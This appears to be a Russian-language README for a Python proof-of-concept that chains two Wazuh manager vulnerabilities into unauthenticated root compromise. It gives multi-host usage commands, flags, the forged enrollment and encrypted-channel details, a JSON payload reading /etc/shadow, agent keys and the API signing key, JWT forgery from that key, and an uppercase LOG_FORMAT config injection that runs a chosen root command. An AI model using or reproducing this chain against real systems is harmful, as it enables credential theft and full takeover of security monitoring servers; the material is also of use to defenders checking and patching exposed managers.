
Wazuh PoC, объединяющий чтение файлов через CVE-2026-74034 и выполнение команд через CVE-2026-74041; исправлено в 4.14.8. Только стандартная библиотека Python.
Однофайловый PoC для нескольких хостов, использующий только стандартную библиотеку, объединяющий в цепочку CVE-2026-74034 и CVE-2026-74041. Оба бюллетеня были опубликованы 13 октября 2026 года; исправления вошли в Wazuh 4.14.8 от 23 сентября 2026 года. Версия 4.14.8 — это исправленный выпуск, а не уязвимая цель.
Скрипт реализует следующую цепочку, когда требуемые сервисы менеджера доступны и включена регистрация агентов без пароля:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
Предварительно существующие учётные данные не требуются, если доступна включённая по умолчанию регистрация authd без пароля (<auth><use_password>no</use_password>). Пароль регистрации или обязательный клиентский сертификат изменяют это предусловие. CVE-2026-74041 сам по себе требует аутентифицированного пользователя API с разрешением на обновление конфигурации; в этой цепочке доступ к API следует за раскрытием ключа подписи.
| CVE | CVSS / вектор | Затронуто | Краткое описание |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | parameters.file_path в upgrade_custom открывается процессом ROOT wm_agent_upgrade только с проверкой существования через wfopen() и передаётся обратно зарегистрированному агенту → произвольное чтение файлов от имени root |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands принимает <LOG_FORMAT> в верхнем регистре, который пропускает чувствительный к регистру валидатор Python, но учитывает нечувствительный к регистру C-коллектор логов → full_command localfile от имени root |
Два диапазона версий описывают отдельные уязвимости; задокументированное пересечение для полной цепочки — >=4.14.3 <4.14.8. Другие рекомендации выходят за рамки этого PoC.
pip, без pycryptodome, без cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Флаг | По умолчанию | Значение |
|---|---|---|
--port | 55000 | порт Wazuh REST API |
--authd-port | 1515 | порт регистрации authd |
--remoted-port | 1514 | порт защищённого канала агента |
--timeout | 10 | таймаут сокета (с) |
--agent-name | poc-<rand8> | имя, регистрируемое на менеджере |
--cmd | (id; hostname) > …/zz_pwned | root-команда фазы 4 |
--no-rce | выкл. | пропустить фазу 4 |
--keep | выкл. | не восстанавливать ossec.conf / не удалять маркер |
--debug | выкл. | выводить сообщения протокола |
--threads | 5 | параллелизм по хостам |
--api-user | wazuh | имя пользователя для поддельного JWT |
Завершение всегда корректное для каждого хоста: отказ, authd с паролем, пропатченная версия или несовпадение криптографии сообщаются с указанием точной точки блокировки, и запуск продолжается с оставшимися хостами.
Проверяет TCP 55000 (API), 1515 (authd), 1514 (remoted). Запрашивает GET / с
отключённой проверкой TLS и сообщает api_version, когда API раскрывает её
без аутентификации. На усиленных сборках GET / возвращает 401; реальная версия менеджера
затем восстанавливается в фазе 3 из /var/ossec/VERSION.json и сопоставляется с
4.14.8.
TLS-соединение (authd 4.4+ работает только по TLS; скрипт также повторяет попытку по обычному TCP для очень
старых сборок), затем OSSEC A:'<name>'\n. Менеджер отвечает
OSSEC K:'<id> <name> <ip> <key>'; скрипт сохраняет 64-символьный hex-ключ агента.
Воспроизводит криптографию агента Wazuh из src/os_crypto/shared/msgs.c:
[4-байтовая длина little-endian][payload]!<id>!#AES:<ciphertext> для динамических (ip=any) агентовMD5(agent_key_hex) (32 ASCII-байта), IV FEDCBA0987654321,
PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Отправляет #!-agent startup {"version":"v4.14.6"} и keepalive с платформой/архитектурой Ubuntu,
чтобы агент стал active в глобальной БД, затем задачу очереди u
(UPGRADE_MQ):
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd передаёт его в WM_UPGRADE_SOCK; ROOT-процесс wazuh-modulesd открывает файл
(wfopen, без проверок пути/расширения/подписи) и передаёт обратно сырые байты в виде
base64-чанков write. Скрипт собирает их и выводит строки [ACC] в реальном времени:
| файл | обработка |
|---|---|
/etc/shadow | только строки root: / wazuh: (хеш выводится полностью) |
/var/ossec/etc/client.keys | полностью (обрезается до 25 строк, байты подсчитываются) |
/var/ossec/etc/authd.pass | полностью (отсутствует при анонимной регистрации) |
/var/ossec/api/configuration/security/private_key.pem | полностью |
/var/ossec/etc/ossec.conf | кластерный <key>, учётные данные indexer, пароль <auth> |
/var/ossec/VERSION.json | резервный источник версии для разведки |
Между файлами скрипт отправляет upgrade_update_status (иначе менеджер задач
оставляет агента в состоянии In progress и отказывается от следующей задачи).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Проверяется через GET /agents.GET /manager/configuration?raw=true, вставить перед последним
</ossec_config> элемент <localfile> с приманкой в нижнем регистре
<log_format>syslog</log_format> и в верхнем регистре <LOG_FORMAT>full_command</LOG_FORMAT> плюс команду.PUT /manager/configuration (application/octet-stream), затем PUT /manager/restart.GET /lists/files/zz_pwned?raw=true для получения вывода root-команды.--keep: PUT исходного ossec.conf, перезапуск и
DELETE /lists/files/zz_pwned (с повторами, пока маркер не исчезнет).